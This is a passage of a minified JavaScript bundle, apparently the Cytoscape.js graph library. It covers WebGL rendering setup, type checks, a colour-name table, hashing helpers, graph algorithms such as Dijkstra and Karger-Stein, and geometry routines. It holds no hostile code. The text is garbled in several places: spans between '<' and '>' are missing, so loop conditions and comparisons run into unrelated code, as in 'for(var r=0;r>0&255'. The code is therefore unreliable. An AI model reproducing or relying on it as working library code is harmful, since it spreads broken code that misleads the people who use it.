n=Qce(t,t.VERTEX_SHADER,e),i=Qce(t,t.FRAGMENT_SHADER,r),a=t.createProgram();if(t.attachShader(a,n),t.attachShader(a,i),t.linkProgram(a),!t.getProgramParameter(a,t.LINK_STATUS))throw new Error("Could not initialize shaders");return a}function nqe(t,e,r){r===void 0&&(r=e);var n=t.makeOffscreenCanvas(e,r),i=n.context=n.getContext("2d");return n.clear=function(){return i.clearRect(0,0,n.width,n.height)},n.clear(),n}function MI(t){var e=t.pixelRatio,r=t.cy.zoom(),n=t.cy.pan();return{zoom:r*e,pan:{x:n.x*e,y:n.y*e}}}function iqe(t){var e=t.pixelRatio,r=t.cy.zoom();return r*e}function aqe(t,e,r,n,i){var a=n*r+e.x,s=i*r+e.y;return s=Math.round(t.canvasHeight-s),[a,s]}function sqe(t){return t.pstyle("background-fill").value!=="solid"||t.pstyle("background-image").strValue!=="none"?!1:t.pstyle("border-width").value===0||t.pstyle("border-opacity").value===0?!0:t.pstyle("border-style").value==="solid"}function oqe(t,e){if(t.length!==e.length)return!1;for(var r=0;r>0&255)/255,r[1]=(t>>8&255)/255,r[2]=(t>>16&255)/255,r[3]=(t>>24&255)/255,r}function lqe(t){return t[0]+(t[1]<<8)+(t[2]<<16)+(t[3]<<24)}function cqe(t,e){var r=t.createTexture();return r.buffer=function(n){t.bindTexture(t.TEXTURE_2D,r),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MAG_FILTER,t.LINEAR),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MIN_FILTER,t.LINEAR_MIPMAP_NEAREST),t.pixelStorei(t.UNPACK_PREMULTIPLY_ALPHA_WEBGL,!0),t.texImage2D(t.TEXTURE_2D,0,t.RGBA,t.RGBA,t.UNSIGNED_BYTE,n),t.generateMipmap(t.TEXTURE_2D),t.bindTexture(t.TEXTURE_2D,null)},r.deleteTexture=function(){t.deleteTexture(r)},r}function Bhe(t,e){switch(e){case"float":return[1,t.FLOAT,4];case"vec2":return[2,t.FLOAT,4];case"vec3":return[3,t.FLOAT,4];case"vec4":return[4,t.FLOAT,4];case"int":return[1,t.INT,4];case"ivec2":return[2,t.INT,4]}}function Fhe(t,e,r){switch(e){case t.FLOAT:return new Float32Array(r);case t.INT:return new Int32Array(r)}}function uqe(t,e,r,n,i,a){switch(e){case t.FLOAT:return new Float32Array(r.buffer,a*n,i);case t.INT:return new Int32Array(r.buffer,a*n,i)}}function hqe(t,e,r,n){var i=Bhe(t,e),a=_i(i,2),s=a[0],l=a[1],u=Fhe(t,l,n),h=t.createBuffer();return t.bindBuffer(t.ARRAY_BUFFER,h),t.bufferData(t.ARRAY_BUFFER,u,t.STATIC_DRAW),l===t.FLOAT?t.vertexAttribPointer(r,s,l,!1,0,0):l===t.INT&&t.vertexAttribIPointer(r,s,l,0,0),t.enableVertexAttribArray(r),t.bindBuffer(t.ARRAY_BUFFER,null),h}function Mc(t,e,r,n){var i=Bhe(t,r),a=_i(i,3),s=a[0],l=a[1],u=a[2],h=Fhe(t,l,e*s),f=s*u,d=t.createBuffer();t.bindBuffer(t.ARRAY_BUFFER,d),t.bufferData(t.ARRAY_BUFFER,e*f,t.DYNAMIC_DRAW),t.enableVertexAttribArray(n),l===t.FLOAT?t.vertexAttribPointer(n,s,l,!1,f,0):l===t.INT&&t.vertexAttribIPointer(n,s,l,f,0),t.vertexAttribDivisor(n,1),t.bindBuffer(t.ARRAY_BUFFER,null);for(var p=new Array(e),m=0;mNhe?(_qe(t),e.call(t,a)):(Dqe(t),Vhe(t,a,nx.SCREEN)))}}{var r=t.matchCanvasSize;t.matchCanvasSize=function(a){r.call(t,a),t.pickingFrameBuffer.setFramebufferAttachmentSizes(t.canvasWidth,t.canvasHeight),t.pickingFrameBuffer.needsDraw=!0}}t.findNearestElements=function(a,s,l,u){return Oqe(t,a,s)};{var n=t.invalidateCachedZSortedEles;t.invalidateCachedZSortedEles=function(){n.call(t),t.pickingFrameBuffer.needsDraw=!0}}{var i=t.notify;t.notify=function(a,s){i.call(t,a,s),a==="viewport"||a==="bounds"?t.pickingFrameBuffer.needsDraw=!0:a==="background"&&t.drawing.invalidate(s,{type:"node-body"})}}}function _qe(t){var e=t.data.contexts[t.WEBGL];e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT)}function Dqe(t){var e=o(function(n){n.save(),n.setTransform(1,0,0,1,0,0),n.clearRect(0,0,t.canvasWidth,t.canvasHeight),n.restore()},"clear");e(t.data.contexts[t.NODE]),e(t.data.contexts[t.DRAG])}function Lqe(t){var e=t.canvasWidth,r=t.canvasHeight,n=MI(t),i=n.pan,a=n.zoom,s=BM();Yk(s,s,[i.x,i.y]),aI(s,s,[a,a]);var l=BM();mqe(l,e,r);var u=BM();return pqe(u,l,s),u}function Ghe(t,e){var r=t.canvasWidth,n=t.canvasHeight,i=MI(t),a=i.pan,s=i.zoom;e.setTransform(1,0,0,1,0,0),e.clearRect(0,0,r,n),e.translate(a.x,a.y),e.scale(s,s)}function Rqe(t,e){t.drawSelectionRectangle(e,function(r){return Ghe(t,r)})}function Nqe(t){var e=t.data.contexts[t.NODE];e.save(),Ghe(t,e),e.strokeStyle="rgba(0, 0, 0, 0.3)",e.beginPath(),e.moveTo(-1e3,0),e.lineTo(1e3,0),e.stroke(),e.beginPath(),e.moveTo(0,-1e3),e.lineTo(0,1e3),e.stroke(),e.restore()}function Mqe(t){var e=o(function(i,a,s){for(var l=i.atlasManager.getAtlasCollection(a),u=t.data.contexts[t.NODE],h=l.atlases,f=0;f=0&&S.add(A)}return S}function Oqe(t,e,r){var n=Iqe(t,e,r),i=t.getCachedZSortedEles(),a,s,l=qs(n),u;try{for(l.s();!(u=l.n()).done;){var h=u.value,f=i[h];if(!a&&f.isNode()&&(a=f),!s&&f.isEdge()&&(s=f),a&&s)break}}catch(d){l.e(d)}finally{l.f()}return[a,s].filter(Boolean)}function VM(t,e,r){var n=t.drawing;e+=1,r.isNode()?(n.drawNode(r,e,"node-underlay"),n.drawNode(r,e,"node-body"),n.drawTexture(r,e,"label"),n.drawNode(r,e,"node-overlay")):(n.drawEdgeLine(r,e),n.drawEdgeArrow(r,e,"source"),n.drawEdgeArrow(r,e,"target"),n.drawTexture(r,e,"label"),n.drawTexture(r,e,"edge-source-label"),n.drawTexture(r,e,"edge-target-label"))}function Vhe(t,e,r){var n;t.webglDebug&&(n=performance.now());var i=t.drawing,a=0;if(r.screen&&t.data.canvasNeedsRedraw[t.SELECT_BOX]&&Rqe(t,e),t.data.canvasNeedsRedraw[t.NODE]||r.picking){var s=t.data.contexts[t.WEBGL];r.screen?(s.clearColor(0,0,0,0),s.enable(s.BLEND),s.blendFunc(s.ONE,s.ONE_MINUS_SRC_ALPHA)):s.disable(s.BLEND),s.clear(s.COLOR_BUFFER_BIT|s.DEPTH_BUFFER_BIT),s.viewport(0,0,s.canvas.width,s.canvas.height);var l=Lqe(t),u=t.getCachedZSortedEles();if(a=u.length,i.startFrame(l,r),r.screen){for(var h=0;h{"use strict";o(UM,"_arrayLikeToArray");o(p$e,"_arrayWithHoles");o(m$e,"_arrayWithoutHoles");o(Af,"_classCallCheck");o(g$e,"_defineProperties");o(_f,"_createClass");o(qs,"_createForOfIteratorHelper");o(sue,"_defineProperty$1");o(y$e,"_iterableToArray");o(v$e,"_iterableToArrayLimit");o(x$e,"_nonIterableRest");o(b$e,"_nonIterableSpread");o(_i,"_slicedToArray");o(Xk,"_toConsumableArray");o(T$e,"_toPrimitive");o(oue,"_toPropertyKey");o($i,"_typeof");o(cI,"_unsupportedIterableToArray");Bi=typeof window>"u"?null:window,Noe=Bi?Bi.navigator:null;Bi&&Bi.document;w$e=$i(""),lue=$i({}),k$e=$i(function(){}),E$e=typeof HTMLElement>"u"?"undefined":$i(HTMLElement),px=o(function(e){return e&&e.instanceString&&oi(e.instanceString)?e.instanceString():null},"instanceStr"),Jt=o(function(e){return e!=null&&$i(e)==w$e},"string"),oi=o(function(e){return e!=null&&$i(e)===k$e},"fn"),An=o(function(e){return!fo(e)&&(Array.isArray?Array.isArray(e):e!=null&&e instanceof Array)},"array"),Yr=o(function(e){return e!=null&&$i(e)===lue&&!An(e)&&e.constructor===Object},"plainObject"),S$e=o(function(e){return e!=null&&$i(e)===lue},"object"),At=o(function(e){return e!=null&&$i(e)===$i(1)&&!isNaN(e)},"number"),C$e=o(function(e){return At(e)&&Math.floor(e)===e},"integer"),jk=o(function(e){if(E$e!=="undefined")return e!=null&&e instanceof HTMLElement},"htmlElement"),fo=o(function(e){return mx(e)||cue(e)},"elementOrCollection"),mx=o(function(e){return px(e)==="collection"&&e._private.single},"element"),cue=o(function(e){return px(e)==="collection"&&!e._private.single},"collection"),uI=o(function(e){return px(e)==="core"},"core"),uue=o(function(e){return px(e)==="stylesheet"},"stylesheet"),A$e=o(function(e){return px(e)==="event"},"event"),Tf=o(function(e){return e==null?!0:!!(e===""||e.match(/^\s+$/))},"emptyString"),_$e=o(function(e){return typeof HTMLElement>"u"?!1:e instanceof HTMLElement},"domElement"),D$e=o(function(e){return Yr(e)&&At(e.x1)&&At(e.x2)&&At(e.y1)&&At(e.y2)},"boundingBox"),L$e=o(function(e){return S$e(e)&&oi(e.then)},"promise"),R$e=o(function(){return Noe&&Noe.userAgent.match(/msie|trident|edge/i)},"ms"),lg=o(function(e,r){r||(r=o(function(){if(arguments.length===1)return arguments[0];if(arguments.length===0)return"undefined";for(var a=[],s=0;sr?1:0},"ascending"),F$e=o(function(e,r){return-1*fue(e,r)},"descending"),ir=Object.assign!=null?Object.assign.bind(Object):function(t){for(var e=arguments,r=1;r1&&(v-=1),v<1/6?g+(y-g)*6*v:v<1/2?y:v<2/3?g+(y-g)*(2/3-v)*6:g}o(f,"hue2rgb");var d=new RegExp("^"+I$e+"$").exec(e);if(d){if(n=parseInt(d[1]),n<0?n=(360- -1*n%360)%360:n>360&&(n=n%360),n/=360,i=parseFloat(d[2]),i<0||i>100||(i=i/100,a=parseFloat(d[3]),a<0||a>100)||(a=a/100,s=d[4],s!==void 0&&(s=parseFloat(s),s<0||s>1)))return;if(i===0)l=u=h=Math.round(a*255);else{var p=a<.5?a*(1+i):a+i-a*i,m=2*a-p;l=Math.round(255*f(m,p,n+1/3)),u=Math.round(255*f(m,p,n)),h=Math.round(255*f(m,p,n-1/3))}r=[l,u,h,s]}return r},"hsl2tuple"),G$e=o(function(e){var r,n=new RegExp("^"+N$e+"$").exec(e);if(n){r=[];for(var i=[],a=1;a<=3;a++){var s=n[a];if(s[s.length-1]==="%"&&(i[a]=!0),s=parseFloat(s),i[a]&&(s=s/100*255),s<0||s>255)return;r.push(Math.floor(s))}var l=i[1]||i[2]||i[3],u=i[1]&&i[2]&&i[3];if(l&&!u)return;var h=n[4];if(h!==void 0){if(h=parseFloat(h),h<0||h>1)return;r.push(h)}}return r},"rgb2tuple"),V$e=o(function(e){return U$e[e.toLowerCase()]},"colorname2tuple"),due=o(function(e){return(An(e)?e:null)||V$e(e)||$$e(e)||G$e(e)||z$e(e)},"color2tuple"),U$e={transparent:[0,0,0,0],aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],grey:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},pue=o(function(e){for(var r=e.map,n=e.keys,i=n.length,a=0;a1&&arguments[1]!==void 0?arguments[1]:yp,n=r,i;i=e.next(),!i.done;)n=n*vue+i.value|0;return n},"hashIterableInts"),ix=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:yp;return r*vue+e|0},"hashInt"),ax=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:eg;return(r<<5)+r+e|0},"hashIntAlt"),tze=o(function(e,r){return e*2097152+r},"combineHashes"),df=o(function(e){return e[0]*2097152+e[1]},"combineHashesArray"),Sk=o(function(e,r){return[ix(e[0],r[0]),ax(e[1],r[1])]},"hashArrays"),Xoe=o(function(e,r){var n={value:0,done:!1},i=0,a=e.length,s={next:o(function(){return i=0;i--)e[i]===r&&e.splice(i,1)},"removeFromArray"),mI=o(function(e){e.splice(0,e.length)},"clearArray"),hze=o(function(e,r){for(var n=0;n"u"?"undefined":$i(Set))!==dze?Set:pze,uE=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0||r===void 0||!uI(e)){Kn("An element must have a core reference and parameters set");return}var i=r.group;if(i==null&&(r.data&&r.data.source!=null&&r.data.target!=null?i="edges":i="nodes"),i!=="nodes"&&i!=="edges"){Kn("An element must be of type `nodes` or `edges`; you specified `"+i+"`");return}this.length=1,this[0]=this;var a=this._private={cy:e,single:!0,data:r.data||{},position:r.position||{x:0,y:0},autoWidth:void 0,autoHeight:void 0,autoPadding:void 0,compoundBoundsClean:!1,listeners:[],group:i,style:{},rstyle:{},styleCxts:[],styleKeys:{},removed:!0,selected:!!r.selected,selectable:r.selectable===void 0?!0:!!r.selectable,locked:!!r.locked,grabbed:!1,grabbable:r.grabbable===void 0?!0:!!r.grabbable,pannable:r.pannable===void 0?i==="edges":!!r.pannable,active:!1,classes:new hg,animation:{current:[],queue:[]},rscratch:{},scratch:r.scratch||{},edges:[],children:[],parent:r.parent&&r.parent.isNode()?r.parent:null,traversalCache:{},backgrounding:!1,bbCache:null,bbCacheShift:{x:0,y:0},bodyBounds:null,overlayBounds:null,labelBounds:{all:null,source:null,target:null,main:null},arrowBounds:{source:null,target:null,"mid-source":null,"mid-target":null}};if(a.position.x==null&&(a.position.x=0),a.position.y==null&&(a.position.y=0),r.renderedPosition){var s=r.renderedPosition,l=e.pan(),u=e.zoom();a.position={x:(s.x-l.x)/u,y:(s.y-l.y)/u}}var h=[];An(r.classes)?h=r.classes:Jt(r.classes)&&(h=r.classes.split(/\s+/));for(var f=0,d=h.length;f0;){var k=b.pop(),A=v(k),C=k.id();if(p[C]=A,A!==1/0)for(var R=k.neighborhood().intersect(g),I=0;I0)for(B.unshift(P);d[G];){var $=d[G];B.unshift($.edge),B.unshift($.node),F=$.node,G=F.id()}return l.spawn(B)},"pathTo")}},"dijkstra")},Tze={kruskal:o(function(e){e=e||function(T){return 1};for(var r=this.byGroup(),n=r.nodes,i=r.edges,a=n.length,s=new Array(a),l=n,u=o(function(S){for(var w=0;w0;){if(w(),A++,S===f){for(var C=[],R=a,I=f,L=x[I];C.unshift(R),L!=null&&C.unshift(L),R=v[I],R!=null;)I=R.id(),L=x[I];return{found:!0,distance:d[S],path:this.spawn(C),steps:A}}m[S]=!0;for(var E=T._private.edges,D=0;DL&&(g[I]=L,b[I]=R,T[I]=w),!a){var E=R*f+C;!a&&g[E]>L&&(g[E]=L,b[E]=C,T[E]=w)}}}for(var D=0;D1&&arguments[1]!==void 0?arguments[1]:s,pe=T(q),Be=[],Ye=pe;;){if(Ye==null)return r.spawn();var He=b(Ye),Le=He.edge,Ie=He.pred;if(Be.unshift(Ye[0]),Ye.same(Ve)&&Be.length>0)break;Le!=null&&Be.unshift(Le),Ye=Ie}return u.spawn(Be)},"pathTo"),k=0;k=0;f--){var d=h[f],p=d[1],m=d[2];(r[p]===l&&r[m]===u||r[p]===u&&r[m]===l)&&h.splice(f,1)}for(var g=0;gi;){var a=Math.floor(Math.random()*r.length);r=Dze(a,e,r),n--}return r},"contractUntil"),Lze={kargerStein:o(function(){var e=this,r=this.byGroup(),n=r.nodes,i=r.edges;i.unmergeBy(function(B){return B.isLoop()});var a=n.length,s=i.length,l=Math.ceil(Math.pow(Math.log(a)/Math.LN2,2)),u=Math.floor(a/_ze);if(a<2){Kn("At least 2 nodes are required for Karger-Stein algorithm");return}for(var h=[],f=0;f1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=-1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=0,a=0,s=r;s1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,a=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0;i?e=e.slice(r,n):(n0&&e.splice(0,r));for(var l=0,u=e.length-1;u>=0;u--){var h=e[u];s?isFinite(h)||(e[u]=-1/0,l++):e.splice(u,1)}a&&e.sort(function(p,m){return p-m});var f=e.length,d=Math.floor(f/2);return f%2!==0?e[d+1+l]:(e[d-1+l]+e[d+l])/2},"median"),Pze=o(function(e){return Math.PI*e/180},"deg2rad"),Ck=o(function(e,r){return Math.atan2(r,e)-Math.PI/2},"getAngleFromDisp"),gI=Math.log2||function(t){return Math.log(t)/Math.log(2)},yI=o(function(e){return e>0?1:e<0?-1:0},"signum"),Tp=o(function(e,r){return Math.sqrt(mp(e,r))},"dist"),mp=o(function(e,r){var n=r.x-e.x,i=r.y-e.y;return n*n+i*i},"sqdist"),Bze=o(function(e){for(var r=e.length,n=0,i=0;i=e.x1&&e.y2>=e.y1)return{x1:e.x1,y1:e.y1,x2:e.x2,y2:e.y2,w:e.x2-e.x1,h:e.y2-e.y1};if(e.w!=null&&e.h!=null&&e.w>=0&&e.h>=0)return{x1:e.x1,y1:e.y1,x2:e.x1+e.w,y2:e.y1+e.h,w:e.w,h:e.h}}},"makeBoundingBox"),$ze=o(function(e){return{x1:e.x1,x2:e.x2,w:e.w,y1:e.y1,y2:e.y2,h:e.h}},"copyBoundingBox"),zze=o(function(e){e.x1=1/0,e.y1=1/0,e.x2=-1/0,e.y2=-1/0,e.w=0,e.h=0},"clearBoundingBox"),Gze=o(function(e,r){e.x1=Math.min(e.x1,r.x1),e.x2=Math.max(e.x2,r.x2),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,r.y1),e.y2=Math.max(e.y2,r.y2),e.h=e.y2-e.y1},"updateBoundingBox"),Cue=o(function(e,r,n){e.x1=Math.min(e.x1,r),e.x2=Math.max(e.x2,r),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,n),e.y2=Math.max(e.y2,n),e.h=e.y2-e.y1},"expandBoundingBoxByPoint"),Fk=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return e.x1-=r,e.x2+=r,e.y1-=r,e.y2+=r,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBox"),$k=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[0],n,i,a,s;if(r.length===1)n=i=a=s=r[0];else if(r.length===2)n=a=r[0],s=i=r[1];else if(r.length===4){var l=_i(r,4);n=l[0],i=l[1],a=l[2],s=l[3]}return e.x1-=s,e.x2+=i,e.y1-=n,e.y2+=a,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBoxSides"),ele=o(function(e,r){e.x1=r.x1,e.y1=r.y1,e.x2=r.x2,e.y2=r.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1},"assignBoundingBox"),vI=o(function(e,r){return!(e.x1>r.x2||r.x1>e.x2||e.x2r.y2||r.y1>e.y2)},"boundingBoxesIntersect"),yf=o(function(e,r,n){return e.x1<=r&&r<=e.x2&&e.y1<=n&&n<=e.y2},"inBoundingBox"),tle=o(function(e,r){return yf(e,r.x,r.y)},"pointInBoundingBox"),Aue=o(function(e,r){return yf(e,r.x1,r.y1)&&yf(e,r.x2,r.y2)},"boundingBoxInBoundingBox"),Vze=(LN=Math.hypot)!==null&&LN!==void 0?LN:function(t,e){return Math.sqrt(t*t+e*e)};o(Uze,"inflatePolygon");o(Hze,"miterBox");_ue=o(function(e,r,n,i,a,s,l){var u=arguments.length>7&&arguments[7]!==void 0?arguments[7]:"auto",h=u==="auto"?kf(a,s):u,f=a/2,d=s/2;h=Math.min(h,f,d);var p=h!==f,m=h!==d,g;if(p){var y=n-f+h-l,v=i-d-l,x=n+f-h+l,b=v;if(g=vf(e,r,n,i,y,v,x,b,!1),g.length>0)return g}if(m){var T=n+f+l,S=i-d+h-l,w=T,k=i+d-h+l;if(g=vf(e,r,n,i,T,S,w,k,!1),g.length>0)return g}if(p){var A=n-f+h-l,C=i+d+l,R=n+f-h+l,I=C;if(g=vf(e,r,n,i,A,C,R,I,!1),g.length>0)return g}if(m){var L=n-f-l,E=i-d+h-l,D=L,_=i+d-h+l;if(g=vf(e,r,n,i,L,E,D,_,!1),g.length>0)return g}var O;{var M=n-f+h,P=i-d+h;if(O=Z2(e,r,n,i,M,P,h+l),O.length>0&&O[0]<=M&&O[1]<=P)return[O[0],O[1]]}{var B=n+f-h,F=i-d+h;if(O=Z2(e,r,n,i,B,F,h+l),O.length>0&&O[0]>=B&&O[1]<=F)return[O[0],O[1]]}{var G=n+f-h,$=i+d-h;if(O=Z2(e,r,n,i,G,$,h+l),O.length>0&&O[0]>=G&&O[1]>=$)return[O[0],O[1]]}{var U=n-f+h,j=i+d-h;if(O=Z2(e,r,n,i,U,j,h+l),O.length>0&&O[0]<=U&&O[1]>=j)return[O[0],O[1]]}return[]},"roundRectangleIntersectLine"),qze=o(function(e,r,n,i,a,s,l){var u=l,h=Math.min(n,a),f=Math.max(n,a),d=Math.min(i,s),p=Math.max(i,s);return h-u<=e&&e<=f+u&&d-u<=r&&r<=p+u},"inLineVicinity"),Wze=o(function(e,r,n,i,a,s,l,u,h){var f={x1:Math.min(n,l,a)-h,x2:Math.max(n,l,a)+h,y1:Math.min(i,u,s)-h,y2:Math.max(i,u,s)+h};return!(ef.x2||rf.y2)},"inBezierVicinity"),Yze=o(function(e,r,n,i){n-=i;var a=r*r-4*e*n;if(a<0)return[];var s=Math.sqrt(a),l=2*e,u=(-r+s)/l,h=(-r-s)/l;return[u,h]},"solveQuadratic"),Xze=o(function(e,r,n,i,a){var s=1e-5;e===0&&(e=s),r/=e,n/=e,i/=e;var l,u,h,f,d,p,m,g;if(u=(3*n-r*r)/9,h=-(27*i)+r*(9*n-2*(r*r)),h/=54,l=u*u*u+h*h,a[1]=0,m=r/3,l>0){d=h+Math.sqrt(l),d=d<0?-Math.pow(-d,1/3):Math.pow(d,1/3),p=h-Math.sqrt(l),p=p<0?-Math.pow(-p,1/3):Math.pow(p,1/3),a[0]=-m+d+p,m+=(d+p)/2,a[4]=a[2]=-m,m=Math.sqrt(3)*(-p+d)/2,a[3]=m,a[5]=-m;return}if(a[5]=a[3]=0,l===0){g=h<0?-Math.pow(-h,1/3):Math.pow(h,1/3),a[0]=-m+2*g,a[4]=a[2]=-(g+m);return}u=-u,f=u*u*u,f=Math.acos(h/Math.sqrt(f)),g=2*Math.sqrt(u),a[0]=-m+g*Math.cos(f/3),a[2]=-m+g*Math.cos((f+2*Math.PI)/3),a[4]=-m+g*Math.cos((f+4*Math.PI)/3)},"solveCubic"),jze=o(function(e,r,n,i,a,s,l,u){var h=1*n*n-4*n*a+2*n*l+4*a*a-4*a*l+l*l+i*i-4*i*s+2*i*u+4*s*s-4*s*u+u*u,f=9*n*a-3*n*n-3*n*l-6*a*a+3*a*l+9*i*s-3*i*i-3*i*u-6*s*s+3*s*u,d=3*n*n-6*n*a+n*l-n*e+2*a*a+2*a*e-l*e+3*i*i-6*i*s+i*u-i*r+2*s*s+2*s*r-u*r,p=1*n*a-n*n+n*e-a*e+i*s-i*i+i*r-s*r,m=[];Xze(h,f,d,p,m);for(var g=1e-7,y=[],v=0;v<6;v+=2)Math.abs(m[v+1])=0&&m[v]<=1&&y.push(m[v]);y.push(1),y.push(0);for(var x=-1,b,T,S,w=0;w=0?Sh?(e-a)*(e-a)+(r-s)*(r-s):f-p},"sqdistToFiniteLine"),Hs=o(function(e,r,n){for(var i,a,s,l,u,h=0,f=0;f=e&&e>=s||i<=e&&e<=s)u=(e-i)/(s-i)*(l-a)+a,u>r&&h++;else continue;return h%2!==0},"pointInsidePolygonPoints"),Vu=o(function(e,r,n,i,a,s,l,u,h){var f=new Array(n.length),d;u[0]!=null?(d=Math.atan(u[1]/u[0]),u[0]<0?d=d+Math.PI/2:d=-d-Math.PI/2):d=u;for(var p=Math.cos(-d),m=Math.sin(-d),g=0;g0){var v=Jk(f,-h);y=Zk(v)}else y=f;return Hs(e,r,y)},"pointInsidePolygon"),Qze=o(function(e,r,n,i,a,s,l,u){for(var h=new Array(n.length*2),f=0;f=0&&v<=1&&b.push(v),x>=0&&x<=1&&b.push(x),b.length===0)return[];var T=b[0]*u[0]+e,S=b[0]*u[1]+r;if(b.length>1){if(b[0]==b[1])return[T,S];var w=b[1]*u[0]+e,k=b[1]*u[1]+r;return[T,S,w,k]}else return[T,S]},"intersectLineCircle"),RN=o(function(e,r,n){return r<=e&&e<=n||n<=e&&e<=r?e:e<=r&&r<=n||n<=r&&r<=e?r:n},"midOfThree"),vf=o(function(e,r,n,i,a,s,l,u,h){var f=e-a,d=n-e,p=l-a,m=r-s,g=i-r,y=u-s,v=p*m-y*f,x=d*m-g*f,b=y*d-p*g;if(b!==0){var T=v/b,S=x/b,w=.001,k=0-w,A=1+w;return k<=T&&T<=A&&k<=S&&S<=A?[e+T*d,r+T*g]:h?[e+T*d,r+T*g]:[]}else return v===0||x===0?RN(e,n,l)===l?[l,u]:RN(e,n,a)===a?[a,s]:RN(a,l,n)===n?[n,i]:[]:[]},"finiteLinesIntersect"),Jze=o(function(e,r,n,i,a){var s=[],l=i/2,u=a/2,h=r,f=n;s.push({x:h+l*e[0],y:f+u*e[1]});for(var d=1;d0){var y=Jk(d,-u);m=Zk(y)}else m=d}else m=n;for(var v,x,b,T,S=0;S2){for(var g=[f[0],f[1]],y=Math.pow(g[0]-e,2)+Math.pow(g[1]-r,2),v=1;vf&&(f=S)},"set"),get:o(function(T){return h[T]},"get")},p=0;p0?O=_.edgesTo(D)[0]:O=D.edgesTo(_)[0];var 